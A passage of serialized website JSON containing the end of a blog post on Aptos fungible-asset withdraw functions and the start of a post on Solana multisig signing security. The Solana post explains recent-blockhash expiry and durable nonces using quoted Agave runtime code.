re-registration.",{"type":23,"tag":31,"props":65051,"children":65052},{"id":26445},[65053],{"type":28,"value":16443},{"type":23,"tag":24,"props":65055,"children":65056},{},[65057,65059,65064],{"type":28,"value":65058},"Aptos's implementation of fungible assets does indeed resolve the original problems with ",{"type":23,"tag":64,"props":65060,"children":65062},{"className":65061},[],[65063],{"type":28,"value":58494},{"type":28,"value":199},{"type":23,"tag":24,"props":65066,"children":65067},{},[65068],{"type":28,"value":65069},"However, this solution comes with its own challenges, in part because of the numerous layers that interact with each other. Before using the fungible asset standard, it's important to understand these different APIs and potential pitfalls.",{"type":23,"tag":24,"props":65071,"children":65072},{},[65073,65075],{"type":28,"value":65074},"As a final exercise to the reader, how many different ways are there to withdraw a fungible asset?",{"type":23,"tag":12963,"props":65076,"children":65077},{},[65078],{"type":23,"tag":190,"props":65079,"children":65081},{"href":27137,"ariaDescribedBy":65080,"dataFootnoteRef":7,"id":27139},[12970],[65082],{"type":28,"value":1558},{"type":23,"tag":15916,"props":65084,"children":65086},{"className":65085,"dataFootnotes":7},[15919],[65087,65092],{"type":23,"tag":31,"props":65088,"children":65090},{"className":65089,"id":12970},[15924],[65091],{"type":28,"value":15927},{"type":23,"tag":73,"props":65093,"children":65094},{},[65095],{"type":23,"tag":77,"props":65096,"children":65097},{"id":27880},[65098,65100,65142],{"type":28,"value":65099},"There are at least four functions that can withdraw a fungible asset:",{"type":23,"tag":14178,"props":65101,"children":65102},{},[65103,65113,65122,65132],{"type":23,"tag":77,"props":65104,"children":65105},{},[65106],{"type":23,"tag":190,"props":65107,"children":65111},{"href":65108,"rel":65109,":style":65110},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/fungible_asset.move#L782",[194],"color: #007bff;",[65112],{"type":28,"value":61795},{"type":23,"tag":77,"props":65114,"children":65115},{},[65116],{"type":23,"tag":190,"props":65117,"children":65120},{"href":65118,"rel":65119,":style":65110},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/dispatchable_fungible_asset.move#L74",[194],[65121],{"type":28,"value":63735},{"type":23,"tag":77,"props":65123,"children":65124},{},[65125],{"type":23,"tag":190,"props":65126,"children":65129},{"href":65127,"rel":65128,":style":65110},"https://github.com/aptos-labs/aptos-core/blob/81a2f4268b9e0f25cb6e1ce5c28bba0a34c27604/aptos-move/framework/aptos-framework/sources/primary_fungible_store.move#L157",[194],[65130],{"type":28,"value":65131},"primary_fungible_store::withdraw",{"type":23,"tag":77,"props":65133,"children":65134},{},[65135],{"type":23,"tag":190,"props":65136,"children":65139},{"href":65137,"rel":65138,":style":65110},"https://github.com/aptos-labs/aptos-core/blob/main/aptos-move/framework/aptos-framework/sources/coin.move#L1091-L1098",[194],[65140],{"type":28,"value":65141},"coin::withdraw",{"type":23,"tag":190,"props":65143,"children":65145},{"href":27908,"ariaLabel":16030,"className":65144,"dataFootnoteBackref":7},[16032],[65146],{"type":28,"value":16035},{"type":23,"tag":2918,"props":65148,"children":65149},{},[65150],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":65152},[65153,65154,65155,65158,65163,65164,65165,65166],{"id":58480,"depth":351,"text":58483},{"id":59025,"depth":351,"text":59028},{"id":59585,"depth":351,"text":59588,"children":65156},[65157],{"id":60096,"depth":531,"text":60099},{"id":60353,"depth":351,"text":60356,"children":65159},[65160,65161,65162],{"id":60396,"depth":531,"text":60399},{"id":61101,"depth":531,"text":61104},{"id":62759,"depth":531,"text":62762},{"id":63290,"depth":351,"text":63293},{"id":64271,"depth":351,"text":64274},{"id":26445,"depth":351,"text":16443},{"id":12970,"depth":351,"text":15927},"content:blog:2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets.md","blog/2025-02-10-hitchhikers-guide-to-aptos-fungible-assets",{"_path":65171,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":65172,"description":65173,"date":65174,"author":3195,"image":65175,"isFeatured":15,"onBlogPage":15,"tags":65177,"body":65178,"_type":358,"_id":67006,"_source":360,"_file":67007,"_stem":67008,"_extension":363},"/blog/2025-02-22-multisig-security","Solana Multisig Security","What can teams do if their multisig signers are compromised? We explore Solana's transaction signing model and present a procedure for safe signing in the presence of malicious signers on Solana.","2025-02-22",{"src":65176,"width":12,"height":13},"/posts/multisig-security/title.png",[17],{"type":20,"children":65179,"toc":66997},[65180,65193,65199,65204,65210,65223,65231,65244,65304,65326,65453,65458,65471,65483,65489,65503,65516,65530,66012,66017,66025,66039,66053,66192,66204,66210,66215,66233,66238,66243,66264,66548,66563,66751,66764,66893,66898,66903,66908,66936,66942,66947,66961,66993],{"type":23,"tag":24,"props":65181,"children":65182},{},[65183,65184,65191],{"type":28,"value":14104},{"type":23,"tag":190,"props":65185,"children":65188},{"href":65186,"rel":65187},"https://www.securityalliance.org/news/2025-02-dprk-advisory",[194],[65189],{"type":28,"value":65190},"Bybit hack",{"type":28,"value":65192}," raises an interesting question: what can teams do if their signers are compromised?",{"type":23,"tag":31,"props":65194,"children":65196},{"id":65195},"solana-signatures",[65197],{"type":28,"value":65198},"Solana Signatures",{"type":23,"tag":24,"props":65200,"children":65201},{},[65202],{"type":28,"value":65203},"We first need to understand how Solana signatures work. There are two ways to sign a Solana transaction.",{"type":23,"tag":7092,"props":65205,"children":65207},{"id":65206},"recent-blockhash",[65208],{"type":28,"value":65209},"Recent Blockhash",{"type":23,"tag":24,"props":65211,"children":65212},{},[65213,65215,65222],{"type":28,"value":65214},"The most straightforward is with a \"recent blockhash\". From ",{"type":23,"tag":190,"props":65216,"children":65219},{"href":65217,"rel":65218},"https://solana.com/developers/guides/advanced/confirmation",[194],[65220],{"type":28,"value":65221},"the docs",{"type":28,"value":287},{"type":23,"tag":426,"props":65224,"children":65225},{},[65226],{"type":23,"tag":24,"props":65227,"children":65228},{},[65229],{"type":28,"value":65230},"During transaction processing, Solana Validators will check if each transaction's recent blockhash is recorded within the most recent 151 stored hashes (aka \"max processing age\"). If the transaction's recent blockhash is older than this max processing age, the transaction is not processed.",{"type":23,"tag":24,"props":65232,"children":65233},{},[65234,65236,65243],{"type":28,"value":65235},"The actual constant ",{"type":23,"tag":190,"props":65237,"children":65240},{"href":65238,"rel":65239},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/sdk/clock/src/lib.rs#L129-L130",[194],[65241],{"type":28,"value":65242},"is defined here",{"type":28,"value":199},{"type":23,"tag":435,"props":65245,"children":65247},{"className":475,"code":65246,"language":474,"meta":7,"style":7},"// The maximum age of a blockhash that will be accepted by the leader\npub const MAX_PROCESSING_AGE: usize = MAX_RECENT_BLOCKHASHES / 2;\n",[65248],{"type":23,"tag":64,"props":65249,"children":65250},{"__ignoreMap":7},[65251,65259],{"type":23,"tag":481,"props":65252,"children":65253},{"class":483,"line":484},[65254],{"type":23,"tag":481,"props":65255,"children":65256},{"style":488},[65257],{"type":28,"value":65258},"// The maximum age of a blockhash that will be accepted by the leader\n",{"type":23,"tag":481,"props":65260,"children":65261},{"class":483,"line":351},[65262,65266,65270,65275,65279,65283,65287,65292,65296,65300],{"type":23,"tag":481,"props":65263,"children":65264},{"style":497},[65265],{"type":28,"value":11178},{"type":23,"tag":481,"props":65267,"children":65268},{"style":497},[65269],{"type":28,"value":36629},{"type":23,"tag":481,"props":65271,"children":65272},{"style":525},[65273],{"type":28,"value":65274}," MAX_PROCESSING_AGE",{"type":23,"tag":481,"props":65276,"children":65277},{"style":514},[65278],{"type":28,"value":287},{"type":23,"tag":481,"props":65280,"children":65281},{"style":943},[65282],{"type":28,"value":11219},{"type":23,"tag":481,"props":65284,"children":65285},{"style":514},[65286],{"type":28,"value":517},{"type":23,"tag":481,"props":65288,"children":65289},{"style":525},[65290],{"type":28,"value":65291}," MAX_RECENT_BLOCKHASHES ",{"type":23,"tag":481,"props":65293,"children":65294},{"style":514},[65295],{"type":28,"value":2130},{"type":23,"tag":481,"props":65297,"children":65298},{"style":551},[65299],{"type":28,"value":5413},{"type":23,"tag":481,"props":65301,"children":65302},{"style":525},[65303],{"type":28,"value":528},{"type":23,"tag":24,"props":65305,"children":65306},{},[65307,65309,65316,65318,65324],{"type":28,"value":65308},"For those curious, the logic ",{"type":23,"tag":190,"props":65310,"children":65313},{"href":65311,"rel":65312},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L61",[194],[65314],{"type":28,"value":65315},"starts here",{"type":28,"value":65317}," and is quite straightforward to follow, ending in a ",{"type":23,"tag":64,"props":65319,"children":65321},{"className":65320},[],[65322],{"type":28,"value":65323},"is_hash_index_valid",{"type":28,"value":65325}," check.",{"type":23,"tag":435,"props":65327,"children":65329},{"className":475,"code":65328,"language":474,"meta":7,"style":7},"fn is_hash_index_valid(last_hash_index: u64, max_age: usize, hash_index: u64) -> bool {\n last_hash_index - hash_index \u003C= max_age as u64\n}\n",[65330],{"type":23,"tag":64,"props":65331,"children":65332},{"__ignoreMap":7},[65333,65412,65446],{"type":23,"tag":481,"props":65334,"children":65335},{"class":483,"line":484},[65336,65340,65345,65349,65354,65358,65362,65366,65371,65375,65379,65383,65388,65392,65396,65400,65404,65408],{"type":23,"tag":481,"props":65337,"children":65338},{"style":497},[65339],{"type":28,"value":17764},{"type":23,"tag":481,"props":65341,"children":65342},{"style":610},[65343],{"type":28,"value":65344}," is_hash_index_valid",{"type":23,"tag":481,"props":65346,"children":65347},{"style":525},[65348],{"type":28,"value":618},{"type":23,"tag":481,"props":65350,"children":65351},{"style":508},[65352],{"type":28,"value":65353},"last_hash_index",{"type":23,"tag":481,"props":65355,"children":65356},{"style":514},[65357],{"type":28,"value":287},{"type":23,"tag":481,"props":65359,"children":65360},{"style":943},[65361],{"type":28,"value":3336},{"type":23,"tag":481,"props":65363,"children":65364},{"style":525},[65365],{"type":28,"value":588},{"type":23,"tag":481,"props":65367,"children":65368},{"style":508},[65369],{"type":28,"value":65370},"max_age",{"type":23,"tag":481,"props":65372,"children":65373},{"style":514},[65374],{"type":28,"value":287},{"type":23,"tag":481,"props":65376,"children":65377},{"style":943},[65378],{"type":28,"value":11219},{"type":23,"tag":481,"props":65380,"children":65381},{"style":525},[65382],{"type":28,"value":588},{"type":23,"tag":481,"props":65384,"children":65385},{"style":508},[65386],{"type":28,"value":65387},"hash_index",{"type":23,"tag":481,"props":65389,"children":65390},{"style":514},[65391],{"type":28,"value":287},{"type":23,"tag":481,"props":65393,"children":65394},{"style":943},[65395],{"type":28,"value":3336},{"type":23,"tag":481,"props":65397,"children":65398},{"style":525},[65399],{"type":28,"value":598},{"type":23,"tag":481,"props":65401,"children":65402},{"style":514},[65403],{"type":28,"value":11245},{"type":23,"tag":481,"props":65405,"children":65406},{"style":943},[65407],{"type":28,"value":9537},{"type":23,"tag":481,"props":65409,"children":65410},{"style":525},[65411],{"type":28,"value":809},{"type":23,"tag":481,"props":65413,"children":65414},{"class":483,"line":351},[65415,65420,65424,65429,65433,65438,65442],{"type":23,"tag":481,"props":65416,"children":65417},{"style":508},[65418],{"type":28,"value":65419}," last_hash_index",{"type":23,"tag":481,"props":65421,"children":65422},{"style":514},[65423],{"type":28,"value":48781},{"type":23,"tag":481,"props":65425,"children":65426},{"style":508},[65427],{"type":28,"value":65428}," hash_index",{"type":23,"tag":481,"props":65430,"children":65431},{"style":514},[65432],{"type":28,"value":5676},{"type":23,"tag":481,"props":65434,"children":65435},{"style":508},[65436],{"type":28,"value":65437}," max_age",{"type":23,"tag":481,"props":65439,"children":65440},{"style":497},[65441],{"type":28,"value":6308},{"type":23,"tag":481,"props":65443,"children":65444},{"style":943},[65445],{"type":28,"value":10684},{"type":23,"tag":481,"props":65447,"children":65448},{"class":483,"line":531},[65449],{"type":23,"tag":481,"props":65450,"children":65451},{"style":525},[65452],{"type":28,"value":1443},{"type":23,"tag":24,"props":65454,"children":65455},{},[65456],{"type":28,"value":65457},"One important consequence is that any signed transaction has a natural expiration of around a few minutes.",{"type":23,"tag":426,"props":65459,"children":65460},{},[65461],{"type":23,"tag":24,"props":65462,"children":65463},{},[65464,65466],{"type":28,"value":65465},"Since slots (aka the time period a validator can produce a block) are configured to last about 400ms, but may fluctuate between 400ms and 600ms, ",{"type":23,"tag":2875,"props":65467,"children":65468},{},[65469],{"type":28,"value":65470},"a given blockhash can only be used by transactions for about 60 to 90 seconds before it will be considered expired by the runtime.",{"type":23,"tag":24,"props":65472,"children":65473},{},[65474,65476,65481],{"type":28,"value":65475},"This means an attacker ",{"type":23,"tag":127,"props":65477,"children":65478},{},[65479],{"type":28,"value":65480},"must use",{"type":28,"value":65482}," a malicious signed transaction within a short timeframe.",{"type":23,"tag":7092,"props":65484,"children":65486},{"id":65485},"durable-nonce",[65487],{"type":28,"value":65488},"Durable Nonce",{"type":23,"tag":24,"props":65490,"children":65491},{},[65492,65494,65501],{"type":28,"value":65493},"The second type of signature ",{"type":23,"tag":190,"props":65495,"children":65498},{"href":65496,"rel":65497},"https://solana.com/developers/guides/advanced/introduction-to-durable-nonces",[194],[65499],{"type":28,"value":65500},"is a durable nonce",{"type":28,"value":65502},". These were created to solve the very feature (or problem) mentioned above: short expiration time.",{"type":23,"tag":426,"props":65504,"children":65505},{},[65506],{"type":23,"tag":24,"props":65507,"children":65508},{},[65509,65511],{"type":28,"value":65510},"durable nonces provide an opportunity to create and sign a transaction that can be submitted at any point in the future, and much more. ",{"type":23,"tag":2875,"props":65512,"children":65513},{},[65514],{"type":28,"value":65515},"This opens up a wide range of use cases that are otherwise not possible or too difficult to implement",{"type":23,"tag":24,"props":65517,"children":65518},{},[65519,65521,65528],{"type":28,"value":65520},"If we examine the code ",{"type":23,"tag":190,"props":65522,"children":65525},{"href":65523,"rel":65524},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L104",[194],[65526],{"type":28,"value":65527},"for recent blockhash validation",{"type":28,"value":65529},", we can also see the handling for durable nonces.",{"type":23,"tag":435,"props":65531,"children":65533},{"className":475,"code":65532,"language":474,"meta":7,"style":7}," let recent_blockhash = tx.message().recent_blockhash();\n if let Some(hash_info) = hash_queue.get_hash_info_if_valid(recent_blockhash, max_age) {\n Ok(CheckedTransactionDetails {\n nonce: None,\n lamports_per_signature: hash_info.lamports_per_signature(),\n })\n } else if let Some((nonce, previous_lamports_per_signature)) = self\n .check_load_and_advance_message_nonce_account(\n tx.message(),\n next_durable_nonce,\n next_lamports_per_signature,\n )\n {\n Ok(CheckedTransactionDetails {\n nonce: Some(nonce),\n lamports_per_signature: previous_lamports_per_signature,\n })\n } else {\n error_counters.blockhash_not_found += 1;\n Err(TransactionError::BlockhashNotFound)\n }\n",[65534],{"type":23,"tag":64,"props":65535,"children":65536},{"__ignoreMap":7},[65537,65584,65650,65670,65690,65720,65728,65782,65799,65819,65831,65843,65851,65858,65877,65904,65924,65931,65946,65976,66005],{"type":23,"tag":481,"props":65538,"children":65539},{"class":483,"line":484},[65540,65544,65549,65553,65558,65562,65567,65571,65575,65580],{"type":23,"tag":481,"props":65541,"children":65542},{"style":497},[65543],{"type":28,"value":500},{"type":23,"tag":481,"props":65545,"children":65546},{"style":508},[65547],{"type":28,"value":65548}," recent_blockhash",{"type":23,"tag":481,"props":65550,"children":65551},{"style":514},[65552],{"type":28,"value":517},{"type":23,"tag":481,"props":65554,"children":65555},{"style":508},[65556],{"type":28,"value":65557}," tx",{"type":23,"tag":481,"props":65559,"children":65560},{"style":514},[65561],{"type":28,"value":199},{"type":23,"tag":481,"props":65563,"children":65564},{"style":610},[65565],{"type":28,"value":65566},"message",{"type":23,"tag":481,"props":65568,"children":65569},{"style":525},[65570],{"type":28,"value":11367},{"type":23,"tag":481,"props":65572,"children":65573},{"style":514},[65574],{"type":28,"value":199},{"type":23,"tag":481,"props":65576,"children":65577},{"style":610},[65578],{"type":28,"value":65579},"recent_blockhash",{"type":23,"tag":481,"props":65581,"children":65582},{"style":525},[65583],{"type":28,"value":1201},{"type":23,"tag":481,"props":65585,"children":65586},{"class":483,"line":351},[65587,65591,65595,65599,65603,65608,65612,65616,65621,65625,65630,65634,65638,65642,65646],{"type":23,"tag":481,"props":65588,"children":65589},{"style":535},[65590],{"type":28,"value":9766},{"type":23,"tag":481,"props":65592,"children":65593},{"style":497},[65594],{"type":28,"value":24816},{"type":23,"tag":481,"props":65596,"children":65597},{"style":943},[65598],{"type":28,"value":24821},{"type":23,"tag":481,"props":65600,"children":65601},{"style":525},[65602],{"type":28,"value":618},{"type":23,"tag":481,"props":65604,"children":65605},{"style":508},[65606],{"type":28,"value":65607},"hash_info",{"type":23,"tag":481,"props":65609,"children":65610},{"style":525},[65611],{"type":28,"value":598},{"type":23,"tag":481,"props":65613,"children":65614},{"style":514},[65615],{"type":28,"value":603},{"type":23,"tag":481,"props":65617,"children":65618},{"style":508},[65619],{"type":28,"value":65620}," hash_queue",{"type":23,"tag":481,"props":65622,"children":65623},{"style":514},[65624],{"type":28,"value":199},{"type":23,"tag":481,"props":65626,"children":65627},{"style":610},[65628],{"type":28,"value":65629},"get_hash_info_if_valid",{"type":23,"tag":481,"props":65631,"children":65632},{"style":525},[65633],{"type":28,"value":618},{"type":23,"tag":481,"props":65635,"children":65636},{"style":508},[65637],{"type":28,"value":65579},{"type":23,"tag":481,"props":65639,"children":65640},{"style":525},[65641],{"type":28,"value":588},{"type":23,"tag":481,"props":65643,"children":65644},{"style":508},[65645],{"type":28,"value":65370},{"type":23,"tag":481,"props":65647,"children":65648},{"style":525},[65649],{"type":28,"value":12292},{"type":23,"tag":481,"props":65651,"children":65652},{"class":483,"line":531},[65653,65657,65661,65666],{"type":23,"tag":481,"props":65654,"children":65655},{"style":943},[65656],{"type":28,"value":12300},{"type":23,"tag":481,"props":65658,"children":65659},{"style":525},[65660],{"type":28,"value":618},{"type":23,"tag":481,"props":65662,"children":65663},{"style":943},[65664],{"type":28,"value":65665},"CheckedTransactionDetails",{"type":23,"tag":481,"props":65667,"children":65668},{"style":525},[65669],{"type":28,"value":809},{"type":23,"tag":481,"props":65671,"children":65672},{"class":483,"line":567},[65673,65678,65682,65686],{"type":23,"tag":481,"props":65674,"children":65675},{"style":508},[65676],{"type":28,"value":65677}," nonce",{"type":23,"tag":481,"props":65679,"children":65680},{"style":514},[65681],{"type":28,"value":287},{"type":23,"tag":481,"props":65683,"children":65684},{"style":943},[65685],{"type":28,"value":25269},{"type":23,"tag":481,"props":65687,"children":65688},{"style":525},[65689],{"type":28,"value":1033},{"type":23,"tag":481,"props":65691,"children":65692},{"class":483,"line":678},[65693,65698,65702,65707,65711,65716],{"type":23,"tag":481,"props":65694,"children":65695},{"style":508},[65696],{"type":28,"value":65697}," lamports_per_signature",{"type":23,"tag":481,"props":65699,"children":65700},{"style":514},[65701],{"type":28,"value":287},{"type":23,"tag":481,"props":65703,"children":65704},{"style":508},[65705],{"type":28,"value":65706}," hash_info",{"type":23,"tag":481,"props":65708,"children":65709},{"style":514},[65710],{"type":28,"value":199},{"type":23,"tag":481,"props":65712,"children":65713},{"style":610},[65714],{"type":28,"value":65715},"lamports_per_signature",{"type":23,"tag":481,"props":65717,"children":65718},{"style":525},[65719],{"type":28,"value":1016},{"type":23,"tag":481,"props":65721,"children":65722},{"class":483,"line":784},[65723],{"type":23,"tag":481,"props":65724,"children":65725},{"style":525},[65726],{"type":28,"value":65727}," })\n",{"type":23,"tag":481,"props":65729,"children":65730},{"class":483,"line":812},[65731,65735,65739,65743,65747,65751,65755,65760,65764,65769,65773,65777],{"type":23,"tag":481,"props":65732,"children":65733},{"style":525},[65734],{"type":28,"value":13269},{"type":23,"tag":481,"props":65736,"children":65737},{"style":535},[65738],{"type":28,"value":836},{"type":23,"tag":481,"props":65740,"children":65741},{"style":535},[65742],{"type":28,"value":13278},{"type":23,"tag":481,"props":65744,"children":65745},{"style":497},[65746],{"type":28,"value":24816},{"type":23,"tag":481,"props":65748,"children":65749},{"style":943},[65750],{"type":28,"value":24821},{"type":23,"tag":481,"props":65752,"children":65753},{"style":525},[65754],{"type":28,"value":29038},{"type":23,"tag":481,"props":65756,"children":65757},{"style":508},[65758],{"type":28,"value":65759},"nonce",{"type":23,"tag":481,"props":65761,"children":65762},{"style":525},[65763],{"type":28,"value":588},{"type":23,"tag":481,"props":65765,"children":65766},{"style":508},[65767],{"type":28,"value":65768},"previous_lamports_per_signature",{"type":23,"tag":481,"props":65770,"children":65771},{"style":525},[65772],{"type":28,"value":6317},{"type":23,"tag":481,"props":65774,"children":65775},{"style":514},[65776],{"type":28,"value":603},{"type":23,"tag":481,"props":65778,"children":65779},{"style":497},[65780],{"type":28,"value":65781}," self\n",{"type":23,"tag":481,"props":65783,"children":65784},{"class":483,"line":825},[65785,65790,65795],{"type":23,"tag":481,"props":65786,"children":65787},{"style":514},[65788],{"type":28,"value":65789}," .",{"type":23,"tag":481,"props":65791,"children":65792},{"style":610},[65793],{"type":28,"value":65794},"check_load_and_advance_message_nonce_account",{"type":23,"tag":481,"props":65796,"children":65797},{"style":525},[65798],{"type":28,"value":988},{"type":23,"tag":481,"props":65800,"children":65801},{"class":483,"line":843},[65802,65807,65811,65815],{"type":23,"tag":481,"props":65803,"children":65804},{"style":508},[65805],{"type":28,"value":65806}," tx",{"type":23,"tag":481,"props":65808,"children":65809},{"style":514},[65810],{"type":28,"value":199},{"type":23,"tag":481,"props":65812,"children":65813},{"style":610},[65814],{"type":28,"value":65566},{"type":23,"tag":481,"props":65816,"children":65817},{"style":525},[65818],{"type":28,"value":1016},{"type":23,"tag":481,"props":65820,"children":65821},{"class":483,"line":864},[65822,65827],{"type":23,"tag":481,"props":65823,"children":65824},{"style":508},[65825],{"type":28,"value":65826}," next_durable_nonce",{"type":23,"tag":481,"props":65828,"children":65829},{"style":525},[65830],{"type":28,"value":1033},{"type":23,"tag":481,"props":65832,"children":65833},{"class":483,"line":873},[65834,65839],{"type":23,"tag":481,"props":65835,"children":65836},{"style":508},[65837],{"type":28,"value":65838}," next_lamports_per_signature",{"type":23,"tag":481,"props":65840,"children":65841},{"style":525},[65842],{"type":28,"value":1033},{"type":23,"tag":481,"props":65844,"children":65845},{"class":483,"line":1125},[65846],{"type":23,"tag":481,"props":65847,"children":65848},{"style":525},[65849],{"type":28,"value":65850}," )\n",{"type":23,"tag":481,"props":65852,"children":65853},{"class":483,"line":1142},[65854],{"type":23,"tag":481,"props":65855,"children":65856},{"style":525},[65857],{"type":28,"value":26700},{"type":23,"tag":481,"props":65859,"children":65860},{"class":483,"line":1159},[65861,65865,65869,65873],{"type":23,"tag":481,"props":65862,"children":65863},{"style":943},[65864],{"type":28,"value":12300},{"type":23,"tag":481,"props":65866,"children":65867},{"style":525},[65868],{"type":28,"value":618},{"type":23,"tag":481,"props":65870,"children":65871},{"style":943},[65872],{"type":28,"value":65665},{"type":23,"tag":481,"props":65874,"children":65875},{"style":525},[65876],{"type":28,"value":809},{"type":23,"tag":481,"props":65878,"children":65879},{"class":483,"line":1172},[65880,65884,65888,65892,65896,65900],{"type":23,"tag":481,"props":65881,"children":65882},{"style":508},[65883],{"type":28,"value":65677},{"type":23,"tag":481,"props":65885,"children":65886},{"style":514},[65887],{"type":28,"value":287},{"type":23,"tag":481,"props":65889,"children":65890},{"style":943},[65891],{"type":28,"value":24821},{"type":23,"tag":481,"props":65893,"children":65894},{"style":525},[65895],{"type":28,"value":618},{"type":23,"tag":481,"props":65897,"children":65898},{"style":508},[65899],{"type":28,"value":65759},{"type":23,"tag":481,"props":65901,"children":65902},{"style":525},[65903],{"type":28,"value":4214},{"type":23,"tag":481,"props":65905,"children":65906},{"class":483,"line":1181},[65907,65911,65915,65920],{"type":23,"tag":481,"props":65908,"children":65909},{"style":508},[65910],{"type":28,"value":65697},{"type":23,"tag":481,"props":65912,"children":65913},{"style":514},[65914],{"type":28,"value":287},{"type":23,"tag":481,"props":65916,"children":65917},{"style":508},[65918],{"type":28,"value":65919}," previous_lamports_per_signature",{"type":23,"tag":481,"props":65921,"children":65922},{"style":525},[65923],{"type":28,"value":1033},{"type":23,"tag":481,"props":65925,"children":65926},{"class":483,"line":1204},[65927],{"type":23,"tag":481,"props":65928,"children":65929},{"style":525},[65930],{"type":28,"value":65727},{"type":23,"tag":481,"props":65932,"children":65933},{"class":483,"line":1213},[65934,65938,65942],{"type":23,"tag":481,"props":65935,"children":65936},{"style":525},[65937],{"type":28,"value":13269},{"type":23,"tag":481,"props":65939,"children":65940},{"style":535},[65941],{"type":28,"value":836},{"type":23,"tag":481,"props":65943,"children":65944},{"style":525},[65945],{"type":28,"value":809},{"type":23,"tag":481,"props":65947,"children":65948},{"class":483,"line":1222},[65949,65954,65958,65963,65968,65972],{"type":23,"tag":481,"props":65950,"children":65951},{"style":508},[65952],{"type":28,"value":65953}," error_counters",{"type":23,"tag":481,"props":65955,"children":65956},{"style":514},[65957],{"type":28,"value":199},{"type":23,"tag":481,"props":65959,"children":65960},{"style":525},[65961],{"type":28,"value":65962},"blockhash_not_found ",{"type":23,"tag":481,"props":65964,"children":65965},{"style":514},[65966],{"type":28,"value":65967},"+=",{"type":23,"tag":481,"props":65969,"children":65970},{"style":551},[65971],{"type":28,"value":2072},{"type":23,"tag":481,"props":65973,"children":65974},{"style":525},[65975],{"type":28,"value":528},{"type":23,"tag":481,"props":65977,"children":65978},{"class":483,"line":1291},[65979,65983,65987,65992,65996,66001],{"type":23,"tag":481,"props":65980,"children":65981},{"style":943},[65982],{"type":28,"value":12343},{"type":23,"tag":481,"props":65984,"children":65985},{"style":525},[65986],{"type":28,"value":618},{"type":23,"tag":481,"props":65988,"children":65989},{"style":943},[65990],{"type":28,"value":65991},"TransactionError",{"type":23,"tag":481,"props":65993,"children":65994},{"style":514},[65995],{"type":28,"value":1006},{"type":23,"tag":481,"props":65997,"children":65998},{"style":943},[65999],{"type":28,"value":66000},"BlockhashNotFound",{"type":23,"tag":481,"props":66002,"children":66003},{"style":525},[66004],{"type":28,"value":675},{"type":23,"tag":481,"props":66006,"children":66007},{"class":483,"line":1299},[66008],{"type":23,"tag":481,"props":66009,"children":66010},{"style":525},[66011],{"type":28,"value":879},{"type":23,"tag":24,"props":66013,"children":66014},{},[66015],{"type":28,"value":66016},"The documentation does a good job of explaining how they work.",{"type":23,"tag":426,"props":66018,"children":66019},{},[66020],{"type":23,"tag":24,"props":66021,"children":66022},{},[66023],{"type":28,"value":66024},"Durable Transaction Nonces, which are 32-byte in length (usually represented as base58 encoded strings), are used in place of recent blockhashes to make every transaction unique (to avoid double-spending) while removing the mortality on the unexecuted transaction.",{"type":23,"tag":24,"props":66026,"children":66027},{},[66028,66030,66037],{"type":28,"value":66029},"Durable nonces are created and managed ",{"type":23,"tag":190,"props":66031,"children":66034},{"href":66032,"rel":66033},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/programs/system/src/system_processor.rs#L446",[194],[66035],{"type":28,"value":66036},"by the system program",{"type":28,"value":66038},". They don't have a fixed PDA, so each account can have multiple associated nonces.",{"type":23,"tag":24,"props":66040,"children":66041},{},[66042,66044,66051],{"type":28,"value":66043},"After a durable nonce is used, it'll be \"advanced\" to preventing replay attacks. The new nonce is calculated ",{"type":23,"tag":190,"props":66045,"children":66048},{"href":66046,"rel":66047},"https://github.com/anza-xyz/agave/blob/c1080de464cfb578c301e975f498964b5d5313db/runtime/src/bank/check_transactions.rs#L81",[194],[66049],{"type":28,"value":66050},"based on the current blockhash",{"type":28,"value":66052},", and cannot be predicted in advance.",{"type":23,"tag":435,"props":66054,"children":66056},{"className":475,"code":66055,"language":474,"meta":7,"style":7}," let hash_queue = self.blockhash_queue.read().unwrap();\n let last_blockhash = hash_queue.last_hash();\n let next_durable_nonce = DurableNonce::from_blockhash(&last_blockhash);\n",[66057],{"type":23,"tag":64,"props":66058,"children":66059},{"__ignoreMap":7},[66060,66112,66145],{"type":23,"tag":481,"props":66061,"children":66062},{"class":483,"line":484},[66063,66067,66071,66075,66079,66083,66088,66092,66096,66100,66104,66108],{"type":23,"tag":481,"props":66064,"children":66065},{"style":497},[66066],{"type":28,"value":500},{"type":23,"tag":481,"props":66068,"children":66069},{"style":508},[66070],{"type":28,"value":65620},{"type":23,"tag":481,"props":66072,"children":66073},{"style":514},[66074],{"type":28,"value":517},{"type":23,"tag":481,"props":66076,"children":66077},{"style":497},[66078],{"type":28,"value":11285},{"type":23,"tag":481,"props":66080,"children":66081},{"style":514},[66082],{"type":28,"value":199},{"type":23,"tag":481,"props":66084,"children":66085},{"style":525},[66086],{"type":28,"value":66087},"blockhash_queue",{"type":23,"tag":481,"props":66089,"children":66090},{"style":514},[66091],{"type":28,"value":199},{"type":23,"tag":481,"props":66093,"children":66094},{"style":610},[66095],{"type":28,"value":58168},{"type":23,"tag":481,"props":66097,"children":66098},{"style":525},[66099],{"type":28,"value":11367},{"type":23,"tag":481,"props":66101,"children":66102},{"style":514},[66103],{"type":28,"value":199},{"type":23,"tag":481,"props":66105,"children":66106},{"style":610},[66107],{"type":28,"value":1196},{"type":23,"tag":481,"props":66109,"children":66110},{"style":525},[66111],{"type":28,"value":1201},{"type":23,"tag":481,"props":66113,"children":66114},{"class":483,"line":351},[66115,66119,66124,66128,66132,66136,66141],{"type":23,"tag":481,"props":66116,"children":66117},{"style":497},[66118],{"type":28,"value":500},{"type":23,"tag":481,"props":66120,"children":66121},{"style":508},[66122],{"type":28,"value":66123}," 